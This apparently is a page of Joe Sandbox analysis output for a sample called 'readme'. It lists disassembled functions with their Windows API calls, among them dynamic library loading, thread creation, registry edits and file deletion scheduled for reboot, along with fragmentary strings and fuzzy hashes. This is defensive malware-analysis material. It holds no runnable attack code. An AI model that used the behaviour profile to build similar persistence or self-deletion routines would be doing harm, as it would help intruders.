Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: d9c418d2c5127a8e192e8e4372b48e11d0a1081b729fc00d09ab3506c0033e68
Instruction ID: e4f55cae686a28aa76e175452713597d1e28f11c85c6f89cf701b194585c12d8
Opcode Fuzzy Hash: d9c418d2c5127a8e192e8e4372b48e11d0a1081b729fc00d09ab3506c0033e68
Instruction Fuzzy Hash: 0AE02230B00208EBDB00EBB1EC42ADD37B8AB08318F8041A6F100D61D1DB70D600C71D

Function 00405F30 Relevance: 1.5, Strings: 1, Instructions: 262COMMON

Download Yara Rule

Strings

8, xrefs: 004061AA

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID:
String ID: 8
API String ID: 0-4194326291
Opcode ID: 814331b60dd9f30dc3f595824217278f4f2d009bcc9f76483a00ba86c43ce653
Instruction ID: 26635683ad8bc6e3c89de0789139caf88a326a2f6bde127323b4d45711ec2293
Opcode Fuzzy Hash: 814331b60dd9f30dc3f595824217278f4f2d009bcc9f76483a00ba86c43ce653
Instruction Fuzzy Hash: 239136701083914BD710CE2895907AFBBE1ABD6300F45593EE8D26B392D27CD95A8B4B

Function 0042731A Relevance: 1.5, APIs: 1, Instructions: 5COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_000272CC), ref: 0042731F

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: c295cc2e9cb841625434bd69c2be57921d73015333ff570b30f8570a734b9d5d
Instruction ID: 91d239ce8c3ec9bc864000ee122172ece4c8541e5da3e4e88b6e0ad87dd54bef
Opcode Fuzzy Hash: c295cc2e9cb841625434bd69c2be57921d73015333ff570b30f8570a734b9d5d
Instruction Fuzzy Hash: 74A012743022008BD3149F306E0501039A09E002013411075E500C1230D7700004D519

Function 0042732E Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 00427333

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 2ab6f6718f042291c8c0e3391e57a3836615d8269b254a55ffda52550e9e3c4b
Instruction ID: 8169098ac00662e5d218563eb379ef12e921e05fa147c2ad6ec4e4497947ff53
Opcode Fuzzy Hash: 2ab6f6718f042291c8c0e3391e57a3836615d8269b254a55ffda52550e9e3c4b
Instruction Fuzzy Hash:

Function 00410670 Relevance: 1.4, Strings: 1, Instructions: 178COMMON

Download Yara Rule

Strings

%c%c%c%c%c, xrefs: 004107EB

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: CountTick
String ID: %c%c%c%c%c
API String ID: 536389180-1277064353
Opcode ID: daa91acc0e97e6ab900b670a7356a182af056bc5419cf5b0c7a93d0f2983e8bb
Instruction ID: 4dc9e3df276925cb3a034685040d612f820b75638e41f6e52d904118c8461c86
Opcode Fuzzy Hash: daa91acc0e97e6ab900b670a7356a182af056bc5419cf5b0c7a93d0f2983e8bb
Instruction Fuzzy Hash: CD5105706083409BD304EB26C9C2B9FB6E7AFC9714F04CA3FB159672D1DABC94448B5A

Function 00425214 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4374541c7480c9de861eca13ad143b888a03e34fd4b500e75caf825a3247e9c9
Instruction ID: 3cdbe674e5470716266b0416ac65ed08902d21a00894794e9fc3ed7962c02048
Opcode Fuzzy Hash: 4374541c7480c9de861eca13ad143b888a03e34fd4b500e75caf825a3247e9c9
Instruction Fuzzy Hash: F721D632A00614DFCB14DF69D8809ABB7A5FF45310B8A80A9E915CB286E734F915CBF0

Function 0041D478 Relevance: 158.0, APIs: 13, Strings: 77, Instructions: 482libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,0000006B), ref: 0041D4A3
LoadLibraryA.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000007,?,00000001), ref: 0041D53F
GetProcAddress.KERNEL32(00000000,0000009A), ref: 0041D637
GetProcAddress.KERNEL32(00000000,000000A5), ref: 0041D6A1
GetProcAddress.KERNEL32(00000000,000000EA), ref: 0041D718
GetProcAddress.KERNEL32(00000000,00000088), ref: 0041D80A
GetProcAddress.KERNEL32(00000000,00000000), ref: 0041D967
LoadLibraryA.KERNEL32(00000040), ref: 0041D9FF
GetProcAddress.KERNEL32(00000000,0000008A), ref: 0041DA87
GetProcAddress.KERNEL32(00000000,00000000), ref: 0041DB60

Strings

W, xrefs: 0041D9BC
u, xrefs: 0041DCFB
_, xrefs: 0041DD69
H, xrefs: 0041DAE9
L, xrefs: 0041DD0F
8, xrefs: 0041D7D5
`, xrefs: 0041DB99
l, xrefs: 0041D4D9
$, xrefs: 0041D9AD
6, xrefs: 0041DD6E
6, xrefs: 0041DD19
g, xrefs: 0041DB47
w, xrefs: 0041D7BD
T, xrefs: 0041DB3D
q, xrefs: 0041D50B
I, xrefs: 0041DDA5
W, xrefs: 0041DD87
@, xrefs: 0041DCCC
&, xrefs: 0041DAF8
g, xrefs: 0041D92D
r, xrefs: 0041D8B2
M, xrefs: 0041DD1E
H, xrefs: 0041DCC4
1, xrefs: 0041DDA0
H, xrefs: 0041D4E3
+, xrefs: 0041D782
9, xrefs: 0041DD50
`, xrefs: 0041DC64
X, xrefs: 0041DD32
h, xrefs: 0041D93D
T, xrefs: 0041DADA
v, xrefs: 0041D501
L, xrefs: 0041DC84
X, xrefs: 0041DD73
t, xrefs: 0041DD9B
L, xrefs: 0041DC7C
/, xrefs: 0041D925
i, xrefs: 0041DC4C
;, xrefs: 0041DC3C
S, xrefs: 0041D4C0
S, xrefs: 0041DD7D
1, xrefs: 0041DAB7
S, xrefs: 0041DB9E
$, xrefs: 0041DC54
e, xrefs: 0041D8DB
h, xrefs: 0041D8F5
I, xrefs: 0041D524
J, xrefs: 0041DD55
J, xrefs: 0041D91D
x, xrefs: 0041D9D5
<, xrefs: 0041D8A2
7, xrefs: 0041DC34
o, xrefs: 0041DB51
w, xrefs: 0041D9B7
~, xrefs: 0041DAA8
$, xrefs: 0041DD82
:, xrefs: 0041D90D
9, xrefs: 0041D915
g, xrefs: 0041D51F
p, xrefs: 0041DD91
>, xrefs: 0041D86A
N, xrefs: 0041D4E8
S, xrefs: 0041DD28
I, xrefs: 0041DAC1
`, xrefs: 0041D852
2, xrefs: 0041D862
&, xrefs: 0041D87A
y, xrefs: 0041D905
A, xrefs: 0041D52D
`, xrefs: 0041D94D
m, xrefs: 0041DB80
<, xrefs: 0041DD78
B, xrefs: 0041D8D1
x, xrefs: 0041D787
|, xrefs: 0041DD5F
M, xrefs: 0041DCAC
t, xrefs: 0041D8E5

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: $$$$$$&$&$+$/$1$1$2$6$6$7$8$9$9$:$;$<$<$>$@$A$B$H$H$H$I$I$I$J$J$L$L$L$M$M$N$S$S$S$S$T$T$W$W$X$X$_$`$`$`$`$e$g$g$g$h$h$i$l$m$o$p$q$r$t$t$u$v$w$w$x$x$y$|$~
API String ID: 2238633743-3939626055
Opcode ID: c0813e0e13b3bdf5361ae911ad3d7297fecab97c2126bead805d02d7372984c4
Instruction ID: 4ea2d180e8293730c515bf7f31d434ed5d52511cef3b66f0afd499666270cbed
Opcode Fuzzy Hash: c0813e0e13b3bdf5361ae911ad3d7297fecab97c2126bead805d02d7372984c4
Instruction Fuzzy Hash: 0452A72000CBC2C9D332D27C584879FBFD11BA7228F584B9DE1F95A2E2D7A68146C767

Function 004147D5 Relevance: 135.2, APIs: 13, Strings: 64, Instructions: 415threadCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,000000A5,00000000,00000001,00000001,00000000,00000000,00000001,00000001), ref: 00414E44
CreateThread.KERNEL32(00000000,00000000,00401260,?,00000000,?), ref: 00414E6E
CreateThread.KERNEL32(00000000,00000000,004191C0,?,00000000,?), ref: 00414EF5
WaitForMultipleObjects.KERNEL32(0000000A,?,00000001,000000FF,?,00000001), ref: 00414F35

Strings

*, xrefs: 0041490D
., xrefs: 00414AC3
L, xrefs: 00414D31
1, xrefs: 004148C5
*, xrefs: 00414C74
S, xrefs: 00414C0A
c, xrefs: 00414B93
+, xrefs: 004148A5
-, xrefs: 00414C9C
D, xrefs: 00414CEA
9, xrefs: 00414B3C
[, xrefs: 00414B5A
g, xrefs: 00414A27
v, xrefs: 00414BE2
V, xrefs: 00414C7C
-, xrefs: 004148CD
(, xrefs: 00414987
*, xrefs: 00414895
&, xrefs: 00414905
,, xrefs: 004148ED
*, xrefs: 00414CE2
&, xrefs: 00414885
), xrefs: 004148F5
(, xrefs: 004149CF
5, xrefs: 0041498F
(, xrefs: 004148B5
&, xrefs: 00414C8C
7, xrefs: 00414D21
E, xrefs: 00414BC2
}, xrefs: 00414AF3
Z, xrefs: 00414DC0
}, xrefs: 00414CAC
p, xrefs: 00414DA8
k, xrefs: 004148FD
v, xrefs: 00414AE3
(, xrefs: 004148DD
6, xrefs: 004148AD
A, xrefs: 00414D48
H, xrefs: 00414A1F
w, xrefs: 00414A8D
@, xrefs: 004149AF
$, xrefs: 0041487D
(, xrefs: 00414875
l, xrefs: 00414BF2
z, xrefs: 00414D40
\, xrefs: 004149BF
E, xrefs: 0041491D
>, xrefs: 00414B69
,, xrefs: 004148BD
q, xrefs: 00414C3A
, xrefs: 00414AB4
X, xrefs: 00414ADB
Z, xrefs: 004149EF
), xrefs: 00414CD3
$, xrefs: 004148E5
8, xrefs: 00414D90
C, xrefs: 00414ACB
*, xrefs: 00414AD3
+, xrefs: 00414D98
-, xrefs: 0041489D
%, xrefs: 00414D88
@, xrefs: 00414D80
/, xrefs: 0041488D
(, xrefs: 00414915

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: Create$Thread$EventMultipleObjectsWait
String ID: $$$$$%$&$&$&$($($($($($($)$)$*$*$*$*$*$+$+$,$,$-$-$-$.$/$1$5$6$7$8$9$>$@$@$A$C$D$E$E$H$L$S$V$X$Z$Z$[$\$c$g$k$l$p$q$v$v$w$z$}$}
API String ID: 235807246-2775756417
Opcode ID: a6afbd8884c598ed69450247ac07e46a6a6b8b414b765670315f290819311f0a
Instruction ID: b6b29a9a05f7405d77ba8641239e9328c4f6afcdac9f5fec8354e56a50ce38c0
Opcode Fuzzy Hash: a6afbd8884c598ed69450247ac07e46a6a6b8b414b765670315f290819311f0a
Instruction Fuzzy Hash: A522283110C7C18AE332C7689859BDFBFD45BA7318F484A9EE1E95B2D2C6B90109C767

Function 00413280 Relevance: 133.4, APIs: 18, Strings: 58, Instructions: 437fileregistryCOMMON

Download Yara Rule

APIs

RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 00413420
RegDeleteValueA.ADVAPI32(?,?), ref: 00413451
RegCloseKey.ADVAPI32(?), ref: 0041345C
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00413472
MoveFileExA.KERNEL32(?,00000000,00000004(MOVEFILE_DELAY_UNTIL_REBOOT)), ref: 0041348A
ExpandEnvironmentStringsA.KERNEL32(00000034,?,00000104), ref: 0041357C
DeleteFileA.KERNEL32(?), ref: 0041358C
ExpandEnvironmentStringsA.KERNEL32(00000034,?,00000104), ref: 004136BF
DeleteFileA.KERNEL32(?), ref: 004136C9
ExpandEnvironmentStringsA.KERNEL32(00000034,?,00000104), ref: 004137F1
DeleteFileA.KERNEL32(?), ref: 004137FB
MoveFileExA.KERNEL32(?,00000000,00000004(MOVEFILE_DELAY_UNTIL_REBOOT)), ref: 0041380C
ExpandEnvironmentStringsA.KERNEL32(00000078,?,00000104), ref: 004138E6
DeleteFileA.KERNEL32(?), ref: 004138F0
ExpandEnvironmentStringsA.KERNEL32(00000034,?,00000104), ref: 004139C6
DeleteFileA.KERNEL32(?), ref: 004139D0
ExpandEnvironmentStringsA.KERNEL32(00000034,?,00000104), ref: 00413AA6
DeleteFileA.KERNEL32(?), ref: 00413AB0

Strings

x, xrefs: 00413822
{, xrefs: 0041358E
z, xrefs: 00413844
Y, xrefs: 0041359E
', xrefs: 00413914
^, xrefs: 00413A26
:, xrefs: 00413813
', xrefs: 00413830
h, xrefs: 00413A4D
r, xrefs: 00413447
z, xrefs: 00413928
0, xrefs: 00413A12
', xrefs: 004139F4
{, xrefs: 004136CB
z, xrefs: 00413A08
4, xrefs: 00413835
4, xrefs: 004139F9
0, xrefs: 00413732
F, xrefs: 00413A66
', xrefs: 004134B0
', xrefs: 004135C5
0, xrefs: 0041384E
Y, xrefs: 004138FC
z, xrefs: 00413722
{, xrefs: 004138F2
t, xrefs: 00413438
F, xrefs: 004138A2
m, xrefs: 00413867
m, xrefs: 00413A2B
t, xrefs: 0041389D
Y, xrefs: 004139DC
<, xrefs: 00413A39
x, xrefs: 004139E6
0, xrefs: 004134CE
z, xrefs: 004135E5
', xrefs: 00413702
4, xrefs: 004135CD
x, xrefs: 004136EB
Y, xrefs: 00413818
:, xrefs: 004139D7
z, xrefs: 004134C4
:, xrefs: 004136D3
x, xrefs: 004135AE
Y, xrefs: 004136DB
s, xrefs: 0041343D
4, xrefs: 004134B5
x, xrefs: 00413906
4, xrefs: 0041370A
e, xrefs: 00413442
0, xrefs: 00413932
4, xrefs: 00413919
0, xrefs: 004135F5
{, xrefs: 004139D2
{, xrefs: 0041380E
:, xrefs: 004138F7
{rest, xrefs: 00413550
:, xrefs: 00413596
t, xrefs: 00413A61

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: File$Delete$EnvironmentExpandStrings$Move$CloseModuleNameOpenValue
String ID: '$'$'$'$'$'$0$0$0$0$0$0$4$4$4$4$4$4$:$:$:$:$:$<$F$F$Y$Y$Y$Y$Y$^$e$h$m$m$r$s$t$t$t$x$x$x$x$x$z$z$z$z$z$z${${${${${${rest
API String ID: 3238871166-1982327307
Opcode ID: eb28d1edef8d5a0ebcf80e1393b2c75a925ba66498ea7eb4a4f4807419b03660
Instruction ID: 8932c8d423f86795222f4535f9e39ef289d62bf3872af0266dd33df7fd326858
Opcode Fuzzy Hash: eb28d1edef8d5a0ebcf80e1393b2c75a925ba66498ea7eb4a4f4807419b03660
Instruction Fuzzy Hash: 5042961110D7C2C9D332D67C984878FBFD51BA7228F484F8DE1E95B2E2C6A98249C767

Function 00422920 Relevance: 128.1, APIs: 14, Strings: 59, Instructions: 373memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 00422D24
HeapAlloc.KERNEL32(00000000), ref: 00422D2D
GetProcessHeap.KERNEL32(00000008,?), ref: 00422D38
HeapAlloc.KERNEL32(00000000), ref: 00422D3B
RegOpenKeyExA.ADVAPI32(80000002,00000000,00000000,000F003F,?), ref: 00422D51
RegQueryValueExA.ADVAPI32(?,0000003B,00000000,00000000,00000000,?), ref: 00422D6E
RegCloseKey.ADVAPI32(?), ref: 00422D7D
_strncpy.LIBCMT ref: 00422DD1
RegSetValueExA.ADVAPI32(?,?,00000000,?,00000000,00000002,?,00000054), ref: 00422E90
RegCloseKey.ADVAPI32(?,?,00000054), ref: 00422EA7
GetProcessHeap.KERNEL32(00000000,00000000,?,00000054), ref: 00422EB6
HeapFree.KERNEL32(00000000,?,00000054), ref: 00422EBF
GetProcessHeap.KERNEL32(00000000,00000000,?,00000054), ref: 00422EC4
HeapFree.KERNEL32(00000000,?,00000054), ref: 00422EC7

Strings

<, xrefs: 00422CD9
b, xrefs: 00422B30
K, xrefs: 00422AAF
X, xrefs: 00422BF4
T, xrefs: 00422A8A
6, xrefs: 00422A07
B, xrefs: 00422B80
W, xrefs: 00422C1C
e, xrefs: 00422CA3
T, xrefs: 0042294A
Q, xrefs: 00422C9B
%, xrefs: 00422A0C
!, xrefs: 00422B60
;, xrefs: 004229DD
,, xrefs: 0042295D
G, xrefs: 00422998
N, xrefs: 00422AEA
c, xrefs: 00422B70
', xrefs: 00422CD4
g, xrefs: 00422A77
,, xrefs: 0042294F
,, xrefs: 00422AA1
/, xrefs: 00422A6D
E, xrefs: 00422989
P, xrefs: 00422A81
), xrefs: 00422976
Q, xrefs: 00422B40
G, xrefs: 00422BE4
F, xrefs: 00422C8B
Z, xrefs: 00422BDC
~, xrefs: 00422B90
\, xrefs: 00422C14
?, xrefs: 00422AC8
x, xrefs: 00422C0C
4, xrefs: 00422CE3
x, xrefs: 00422CED
}, xrefs: 00422A3E
", xrefs: 004229A7
., xrefs: 00422B68
#, xrefs: 00422B78
8, xrefs: 00422C63
P, xrefs: 00422967
4, xrefs: 00422CDE
', xrefs: 004229D8
v, xrefs: 00422BFC
W, xrefs: 00422AA6
N, xrefs: 00422984
u, xrefs: 00422A2F
R, xrefs: 00422A16
S, xrefs: 00422971
x, xrefs: 00422CF4
4, xrefs: 00422ABE
c, xrefs: 00422C93
{, xrefs: 00422A4C
1, xrefs: 00422CC1
], xrefs: 00422B50
S, xrefs: 00422AB4
t, xrefs: 00422B58
9, xrefs: 00422B08

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: Heap$Process$AllocCloseFreeValue$OpenQuery_strncpy
String ID: !$"$#$%$'$'$)$,$,$,$.$/$1$4$4$4$6$8$9$;$<$?$B$E$F$G$G$K$N$N$P$P$Q$Q$R$S$S$T$T$W$W$X$Z$\$]$b$c$c$e$g$t$u$v$x$x$x${$}$~
API String ID: 3932281191-2427493838
Opcode ID: 1e99909b19aa585da5ead2d891978beee004937c050dea2f45ef4ffdaa32fc77
Instruction ID: 4784c4b2e2af174b486d3fa0099c06b4624002471a15ad2e25fd25ecae521a18
Opcode Fuzzy Hash: 1e99909b19aa585da5ead2d891978beee004937c050dea2f45ef4ffdaa32fc77
Instruction Fuzzy Hash: 8002182120C7C19ED332C63C994879BBFD15BA7218F484A9DE1E85B3D2C7B98509C76B

Function 004223A0 Relevance: 110.6, APIs: 9, Strings: 54, Instructions: 322registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,000000FF), ref: 00422800
HeapAlloc.KERNEL32(00000000), ref: 00422807
RegOpenKeyExA.ADVAPI32(80000002,00000000,00000000,000F003F,75923310), ref: 00422821
RegQueryValueExA.ADVAPI32(?,00000054,00000000,00000000,00000000,?), ref: 0042283E
RegCloseKey.ADVAPI32(75923310), ref: 0042284D
RegSetValueExA.ADVAPI32(?,?,00000000,?,00000000,00000002,?,0000005C), ref: 004228DF
RegCloseKey.ADVAPI32(?,?,0000005C), ref: 004228F0
GetProcessHeap.KERNEL32(00000000,00000000,?,0000005C), ref: 004228F9
HeapFree.KERNEL32(00000000,?,0000005C), ref: 00422900

Strings

E, xrefs: 00422406
K, xrefs: 004225AE
', xrefs: 00422455
%, xrefs: 00422587
{, xrefs: 004226B0
p, xrefs: 004225BE
H, xrefs: 00422559
d, xrefs: 00422717
\, xrefs: 004224FC
S, xrefs: 00422771
b, xrefs: 00422688
(, xrefs: 004226C0
g, xrefs: 00422572
Z, xrefs: 00422568
b, xrefs: 004225A6
1, xrefs: 00422533
5, xrefs: 004227BC
8, xrefs: 004224DE
f, xrefs: 004224D4
s, xrefs: 00422613
!, xrefs: 004225E4
S, xrefs: 004223ED
Z, xrefs: 00422603
&, xrefs: 00422680
D, xrefs: 00422658
R, xrefs: 004226A0
P, xrefs: 004223E3
m, xrefs: 00422501
;, xrefs: 0042245A
~, xrefs: 00422515
L, xrefs: 00422785
R, xrefs: 0042259E
), xrefs: 004223F2
j, xrefs: 00422529
:, xrefs: 00422707
{, xrefs: 004227A3
Q, xrefs: 004226F7
~, xrefs: 004224E3
G, xrefs: 00422415
q, xrefs: 004224F7
", xrefs: 00422424
>, xrefs: 00422670
A, xrefs: 004224C1
N, xrefs: 00422401
>, xrefs: 0042275D
d, xrefs: 0042254B
v, xrefs: 0042276C
], xrefs: 0042241F
S, xrefs: 00422794
j, xrefs: 00422668
1, xrefs: 004226B8
/, xrefs: 00422577
K, xrefs: 004227B7
T, xrefs: 004223C7

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: Heap$CloseProcessValue$AllocFreeOpenQuery
String ID: !$"$%$&$'$($)$/$1$1$5$8$:$;$>$>$A$D$E$G$H$K$K$L$N$P$Q$R$R$S$S$S$T$Z$Z$\$]$b$b$d$d$f$g$j$j$m$p$q$s$v${${$~$~
API String ID: 1874932168-1336078793
Opcode ID: 437fdbd436a05d19afb7f5867172574a4622868046f25b3dfc0edf86c844fae6
Instruction ID: bbaaf71f1dd44b42d8da240f366e0f2ce8dd36e8536a405cef6b64a909e2b2a5
Opcode Fuzzy Hash: 437fdbd436a05d19afb7f5867172574a4622868046f25b3dfc0edf86c844fae6
Instruction Fuzzy Hash: FBF1D62110C7C18DD332C67C984879BBFD15BA7228F484A9DE1E84B3E3C7A98549C767

Function 00413687 Relevance: 91.2, APIs: 11, Strings: 41, Instructions: 244fileCOMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsA.KERNEL32(00000034,?,00000104), ref: 004136BF
DeleteFileA.KERNEL32(?), ref: 004136C9
ExpandEnvironmentStringsA.KERNEL32(00000034,?,00000104), ref: 004137F1
DeleteFileA.KERNEL32(?), ref: 004137FB
MoveFileExA.KERNEL32(?,00000000,00000004(MOVEFILE_DELAY_UNTIL_REBOOT)), ref: 0041380C
ExpandEnvironmentStringsA.KERNEL32(00000078,?,00000104), ref: 004138E6
DeleteFileA.KERNEL32(?), ref: 004138F0
